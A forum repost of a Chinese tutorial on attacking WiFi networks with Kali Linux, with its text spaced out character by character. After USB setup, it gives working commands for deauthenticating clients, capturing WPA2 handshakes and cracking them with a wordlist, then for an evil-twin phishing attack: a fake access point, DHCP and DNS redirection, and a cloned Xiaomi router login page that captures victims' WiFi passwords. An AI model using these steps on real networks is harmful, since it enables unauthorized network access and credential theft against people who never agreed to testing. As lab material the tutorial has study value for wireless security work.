设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 系统 › [412] 2021-07-28_kalilinuxwifi攻击
返回列表 发新帖
查看: 10|回复: 0

[412] 2021-07-28_kalilinuxwifi攻击

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 7 天前 | 显示全部楼层 |阅读模式
2021-07-28_kalilinuxwifi攻击 k a l i   l i n u x   w i f i   攻 击 原 创   i 0 1 o r t a l   A i z e r o 安 全 团 队   2 0 2 1 - 0 7 - 2 8 概 述 概 述 只 需 几 分 钟 便 能 搭 建 好 一 个 完 整 的 w i f i 攻 击 环 境 ， 针 对 无 线 破 解 ， 钓 鱼 诱 导 两 种 攻 击 方 式 来 进 行 实 验 ， 此 次 实 验 使 用   V e n t o y 来 制 作   k a l i   l i n u x   U 盘 启 动 ， 在 使 用 本 机 自 带 无 线 网 卡 （ W I F I   6   A X 2 0 0 ） 的 情 况 下 来 完 成 整 个 实 验 。 V e n t o y 简 单 来 说 ， V e n t o y 是 一 个 制 作 可 启 动 U 盘 的 开 源 工 具 ， 仅 需 要 把 I S O / W I M / I M G / V H D ( x ) / E F I 等 类 型 的 文 件 拷 贝 到 U 盘 里 面 就 可 以 启 动 了 ， 无 需 其 他 操 作 ， 详 细 说 明 各 位 可 在 官 网 看 到 。 官 网 地 址 h t t p s : / / w w w . v e n t o y . n e t 下 载 对 应 使 用 系 统 版 本 ， 在 这 里 我 们 下 载 w i n d o w s 版 来 进 行 安 装 ， 解 压 即 可 使 用 会 检 测 出 我 们 已 经 插 入 的 U 盘 ， 第 一 次 安 装 会 需 要 格 式 化 U 盘 ， 此 后 升 级 都 不 会 再 格 式 化 U 盘 ， 且 不 影 响 日 常 U 盘 使 用 。 k a l i 镜 像 下 载 地 址 ：
h t t p s : / / w w w . k a l i . o r g / d o w n l o a d s / 安 装 完 成 后 将 k a l i 镜 像 拖 入 U 盘 中 ， V e n t o y 支 持 多 个 系 统 ， 可 多 个 系 统 一 起 使 用 。 U 盘 数 据 持 久 化 盘 数 据 持 久 化 需 要 将 k a l i 的 数 据 设 置 为 持 久 化 存 储 ， 不 然 每 次 重 启 系 统 都 重 置 。 V e n t o y 数 据 持 久 化 在 官 网 上 也 给 出 详 细 说 明 ， 有 更 多 需 求 的 话 建 议 详 细 看 一 下 。 h t t p s : / / w w w . v e n t o y . n e t / c n / p l u g i n _ p e r s i s t e n c e . h t m l 我 们 先 在 U 盘 中 创 建 / v e n t o y / v e n t o y . j s o n 文 件 （ 默 认 是 没 有 的 ） ， 文 件 内 容 为 ： {         " p e r s i s t e n c e " :   [                 {                         " i m a g e " :   " / k a l i - l i n u x - 2 0 2 1 . 1 - l i v e - a m d 6 4 . i s o " ,                         " b a c k e n d " :   " / p e r s i s t e n c e / k a l i - l i n u x - 2 0 2 1 . 1 - l i v e - a m d 6 4 . i s o . d a t "                 }         ] } 使 用 官 网 脚 本 创 建 一 个 存 储 数 据 持 久 化 镜 像 文 件 （ 在 l i n u x 中 创 建 ） ： w g e t   h t t p s : / / w w w . v e n t o y . n e t / d o w n l o a d / C r e a t e P e r s i s t e n t I m g . s h / / 创 建 一 个 2 G 大 小 的 持 久 化 镜 像 文 件 s u d o   s h   C r e a t e P e r s i s t e n t I m g . s h   - s   2 0 4 8   - l   p e r s i s t e n c e   - c   p e r s i s t e n c e . c o n f 没 有 使 用 l i n u x 系 统 可 在 官 网 g i t h u b 下 载 ： h t t p s : / / g i t h u b . c o m / v e n t o y / b a c k e n d / r e l e a s e s 将 创 建 好 的 镜 像 文 件 放 在 v e n t o y . j s o n 中 配 置 目 录 下
这 样 我 们 的 U 盘 启 动 就 算 制 作 完 成 ， 后 续 只 需 将 电 脑 B I O S 设 置 为 U 盘 启 动 即 可 ， 在 这 里 百 度 自 己 电 脑 B I O S 设 置 就 行 。 k a l i   w i f i   驱 动 驱 动 可 能 有 些 电 脑 的 网 卡 k a l i 还 没 有 支 持 ， 可 先 查 看 自 己 网 卡 信 息 k a l i 是 否 已 经 支 持 （ 在 这 里 只 考 虑 使 用 本 机 自 带 网 卡 来 测 试 ） ， 使 用 以 下 命 令 先 查 看 网 卡 信 息 ： l s c p i   - v v v 查 看   a p t   源 中 是 否 有 本 机 网 卡 驱 动 a p t   s e a r c h   i w l w i f i 没 有 找 到 自 己 网 卡 信 息 的 话 可 以 在 镜 像 目 录 下 找 找 看 ， 或 者 g o o g l e 下 网 卡 是 否 支 持 。 我 们 的 网 卡 已 经 可 以 正 常 检 测 到 附 近 w i f i 无 线 网 络 认 证 无 线 网 络 认 证 在 正 式 开 始 攻 击 之 前 ， 我 们 先 简 单 了 解 一 下 关 于 无 线 网 络 的 一 些 知 识 ， 这 样 才 能 更 好 的 了 解 到 我 们 所 攻 击 的 一 些 原 理 ， 扩 展 更 广 阔 的 攻 击 面 （ 仅 简 单 说 明 我 们 此 次 攻 击 的 W P A / W P A 2 类 型 认 证 ） 。 W P A 2 - P e r s o n a l （ 预 共 用 密 钥 模 式 ） ， 又 称 为 W P A 2 - P S K ， W P A / W P A 2 为 混 合 模 式 ， 可 以 兼 容 部 分 老 设 备 ， 在 家 庭 和 公 司 当 中 使 用 比 较 多 。 加 密 方 式 采 用 A E S ， 而 且 不 加 密 的 w i f i 传 输 速 度 会 更 快 。 w p a 在 一 定 程 度 上 已 经 算 是 安 全 的 ， 但 是 还 是 存 在 一 些 缺 陷 ， 无 法 避 免 防 碰 撞 ， D D O S 攻 击 ， 弱 口 令 爆 破 ， 而 且 在 最 近 爆 出 了 更 多 的 w i f i 设 计 上 是 缺 陷 ， 基 本 影 响 市 面 上 大 部 分 的 w i f i 。 详 情 可 以 访 问 下 面 地 址 查 看 （ 以 上 仅 是 一 些 说 明 ， 不 是 绝 对 正 确 ） ， h t t p s : / / w w w . f r a g a t t a c k s . c o m / A i r c r a c k - n g 套 件 使 用 套 件 使 用 在 进 入 k a l i 时 屏 幕 亮 度 比 较 暗 ,   可 设 置 / s y s / c l a s s / b a c k l i g h t / a m d g p u _ b l 0 / b r i g h t n e s s 文 件 来 配 置 ， 默 认 是 2 0 ， 设 置 为 8 0 即 可 s u d o   v i m   / s y s / c l a s s / b a c k l i g h t / a m d g p u _ b l 0 / 查 看 无 线 网 卡 名 字 ： i w c o n f i g
开 启 监 听 开 启 监 听 ： ： s u d o   a i r m o n - n g     s t a r t   w l a n 0 开 启 监 听 后 网 卡 就 直 接 改 名 为 w l a n 0 m o n 了 ， 关 闭 监 听 也 需 要 使 用 这 个 网 卡 名 。 扫 描 附 近 的 扫 描 附 近 的 w i f i ： ： s u d o   a i r o d u m p - n g     w l a n 0 m o n B S S I D 代 表 路 由 器 的   M A C   地 址 P W R   代 表 信 号 的 强 度 ， 数 值 越 大 代 表 信 息 越 强 C H   代 表 信 道 E N C   代 表 用 的 加 密 的 方 式 A U T H   代 表 认 证 的 方 式 E S S I D   是 W I F I 的 名 字 S T A T I O N   是 已 经 连 接 该 W I F I 的 客 户 端 我 们 选 择 C r a z y p a d 5 . 0 _ 2 . 4 G 这 个 ， 这 个 是 我 们 自 己 的 w i f i ， 实 际 上 我 们 这 个 路 由 器 开 启 了 2 . 4 G 频 率 和 5 G 频 率 的 w i f i ， 但 是 a i r o d u m p - n g 仅 扫 描 出 2 . 4 G 频 率 的 w i f i ， 是 因 为 a i r o d u m p - n g 默 认 是 监 听 2 . 4 G 的 w i f i ,   我 们 要 破 解 5 G 的 w i f i 的 话 可 以 使 用 下 面 的 方 法 来 监 听 。 使 用 s u d o   i w   l i s t   查 看 网 卡 支 持 的 5 G   w i f i   频 率
监 听   5 G 频 率 s u d o   a i r d u m p - n g   - C   5 1 8 0 - 5 8 8 5   w l a n 0   后 面 对 于 5 G 频 率 的 w i f i 的 破 解 和 2 . 4 G 相 同 监 听 我 们 选 择 的 监 听 我 们 选 择 的 w i f i ： ： / / 进 入 下 面 界 面 ： 不 要 关 闭 当 前 窗 口 ， 再 创 建 一 个 命 令 行 窗 口 ： / / 执 行 完 该 命 令 之 后 可 以 看 到 我 们 的 手 机 已 经 断 开 连 接 ： a i r o d u m p - n g   - w   C r a z y p a d 5 . 0 _ 2 . 4 G   - c   1   - - b s s i d 5 0 : X X : X X : X X : A 3   w l a n 0 m o n - c   指 定 信 道 - w   参 数 指 定 生 成 的 文 件 名   - - b s s i d   指 定 路 由 器 的 M A C 地 址 a i r e p l a y - n g   - 0   5 0   - a   5 0 : 4 6 : 9 9 : 3 D : 6 6 : A 3   - c 4 C : X X : X X : X X : X X : A 7     w l a n 0 m o n 5 0   是 发 包 的 数 量 - a   指 定 路 由 器 的 M A C 地 址 - c   指 定 连 接 的 客 户 端 的 M A C 地 址
在 我 们 尝 试 用 手 机 重 新 连 接 时 ， a i r o d u m p - n g   已 经 抓 到 了 w i f i 的 握 手 包 ： 我 们 可 以 在 目 录 下 找 到 D e s k t o p - 0 1 . c a p 文 件 到 这 里 我 们 已 经 成 功 得 到 了 w i f i 的 握 手 包 ， 后 面 就 需 要 对 D e s k t o p - 0 1 . c a p 进 行 破 解 ： 经 过 一 段 时 间 的 爆 破 之 后 ， 可 以 看 到 我 们 已 经 成 功 得 到 了 w i f i 密 码 ： a i r c r a c k - n g   - w     / u s r / s h a r e / w o r d l i s t s / r o c k y o u . t x t   - b     D e s k t o p - 0 1 . c a p 5 0 : 4 6 : 9 9 : 3 D : 6 6 : A 3 / / - w 指 定 密 码 字 典 - b 指 定 路 由 器 的 M A C 地
关 于 w i f i 的 握 手 包 爆 破 ， 有 一 款 比 a i r c r a c k - n g 更 强 大 的 工 具 ， h a s h c a t 下 的 一 款 工 具   h c x d u m p t o o l ,   关 于 详 细 说 明 可 查 看 该 地 址 ： h t t p s : / / h a s h c a t . n e t / f o r u m / t h r e a d - 7 7 1 7 . h t m l 钓 鱼 诱 导 钓 鱼 诱 导 参 考 ： h t t p s : / / b l o g . b b s k a l i . c n / 2 1 7 9 . h t m l 我 们 钓 鱼 诱 导 是 思 路 是 先 对 客 户 端 进 行 拒 绝 服 务 攻 击 ， 也 就 是 让 一 个 活 跃 的 客 户 端 与 w i f i 断 开 连 接 ， 然 后 连 接 到 一 个 我 们 创 建 的 钓 鱼 w i f i 。 在 受 害 者 连 接 到 我 们 的 w i f i 时 ， 不 管 访 问 哪 里 站 点 ， 或 是 自 动 访 问 其 它 站 点 ， 都 会 通 过 D N S 重 定 向 到 我 们 伪 造 的 路 由 器 登 录 页 面 ， 提 示 输 入 w i f i 密 码 信 息 。 我 们 使 用 a i r b a s e - n g 来 伪 造 一 个 w i f i 热 点 ， 在 使 用 a i r b a s e - n g 时 也 需 要 使 用 s u d o   a i r m o n - n g     s t a r t   w l a n 0   来 开 启 网 卡 的 监 听 s u d o   a i r m o n - n g     s t a r t   w l a n 0 s u d o   a i r b a s e - n g   w l a n 0 m o n   - e   " C r a z y p a d 5 . 0 _ 2 . 4 G "   - c   1 或 者 可 以 使 用 h o s t a p d 来 搭 建 s u d o   a p t   i n s t a l l   h o s t a p d v i m   h o s t a p d . c o n f / /   h o s t a p d . c o n f   内 容 i n t e r f a c e = w l a n 0 m o n s s i d = C r a z y p a d 5 . 0 _ 2 . 4 G   # 无 线 名 称 h w _ m o d e = g c h a n n e l = 6 m a c a d d r _ a c l = 0 i g n o r e _ b r o a d c a s t _ s s i d = 0 D H C P 服 务 器 搭 建 服 务 器 搭 建 D H C P 服 务 器 我 们 使 用 d n s m a s p 来 搭 建 ， 这 个 是 比 较 快 速 方 便 的 方 法 （ 问 题 也 多 ） 。 v i m   d n s m a s p . c o n f / /   d n s m a s p . c o n f 内 容 i n t e r f a c e = w l a n 0 m o n d h c p - r a n g e = 1 9 2 . 1 6 8 . 1 . 2 , 1 9 2 . 1 6 8 . 1 . 3 0 , 2 5 5 . 2 5 5 . 2 5 5 . 0 , 1 2 h d h c p - o p t i o n = 3 , 1 9 2 . 1 6 8 . 1 . 1 d h c p - o p t i o n = 6 , 1 9 2 . 1 6 8 . 1 . 1 s e r v e r = 1 2 7 . 0 . 0 . 1 l o g - q u e r i e s l o g - d h c p l i s t e n - a d d r e s s = 1 2 7 . 0 . 0 . 1 D N S 伪 造 ： 伪 造 ： 将 本 地 将 本 地 D N S 更 改 指 向 更 改 指 向   1 2 7 . 0 . 0 . 1 * . b a i d u . c o m             1 2 7 . 0 . 0 . 1 * . g o o g l e . c o m         1 2 7 . 0 . 0 . 1 * . q q . c o m                       1 2 7 . 0 . 0 . 1 * . t a o b a o . c o m         1 2 7 . 0 . 0 . 1 * . a l i p a y . c o m             1 2 7 . 0 . 0 . 1 伪 造 路 由 器 页 面 ： 伪 造 路 由 器 页 面 ： 此 次 我 们 攻 击 目 标 是 小 米 路 由 器 ， 那 我 们 使 用 f o f a 直 接 找 个 小 米 路 由 器 登 录 页 面 保 存 下 来 ， 稍 微 修 改 一 些 位 置 ， 比 如 这 样 的 ， 只 要 用 户 输 入 密 码 我 们 便 可 以 在 后 台 看 到 ：
无 线 网 卡 分 配 地 址 ： i f c o n f i g   w l a n 0 m o n   u p   1 9 2 . 1 6 8 . 1 . 1   n e t m a s k   2 5 5 . 2 5 5 . 2 5 5 . 0 r o u t e   a d d   - n e t   1 9 2 . 1 6 8 . 1 . 0   n e t m a s k   2 5 5 . 2 5 5 . 2 5 5 . 0   g w   1 9 2 . 1 6 8 . 1 . 1 启 动 钓 鱼 热 点 h o s t a p d   h o s t a p d . c o n f 启 动 D H C P 服 务 d n s m a s q   - C   d n s m a s q . c o n f   - d 到 这 里 整 个 实 验 便 已 经 完 成 ， 现 在 只 要 用 户 访 问 我 们 伪 造 的 路 由 地 址 ， 输 入 密 码 就 成 功 了 。 W I F I   6   A X 2 0 0   网 卡 启 动 网 卡 启 动 失 败 失 败 到 i n t e l 官 网 下 载 重 编 译 ， 详 细 可 看 文 章 ： h t t p s : / / b l o g . c s d n . n e t / d i e j u 8 3 3 0 / a r t i c l e / d e t a i l s / 1 0 1 4 2 2 7 4 3 k a l i 已 经 安 装 驱 动 ， 卸 载 自 带 驱 动 重 新 安 装 重 启 。 多 重 启 。 写 的 有 些 地 方 有 问 题 ， 如 果 有 疑 问 请 联 系 我 ： i 0 1 o r t a l @ o u t l o o k . c o m 参 考 ： h t t p s : / / w w w . v e n t o y . n e t / c n / i n d e x . h t m l
h t t p : / / w w w . a i r c r a c k - n g . o r g h t t p s : / / b l o g . c s d n . n e t / q q _ 3 6 1 1 9 1 9 2 / a r t i c l e / d e t a i l s / 8 4 2 5 4 6 2 2 h t t p s : / / g i t h u b . c o m / b r a n n o n d o r s e y / w i f i - c r a c k i n g h t t p s : / / g i t h u b . c o m / F l u x i o n N e t w o r k / f l u x i o n h t t p s : / / g i t h u b . c o m / P 0 c L 4 b s / w i f i p u m p k i n 3 h t t p s : / / w w w . g u r u 9 9 . c o m / h o w - t o - h a c k - w i r e l e s s - n e t w o r k s . h t m l h t t p s : / / b l o g . b b s k a l i . c n / 2 1 7 9 . h t m l h t t p s : / / w w w . c n b l o g s . c o m / L i t t l e H a n n / p / 3 7 0 4 5 1 7 . h t m l
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:24 , Processed in 0.360602 second(s), 30 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表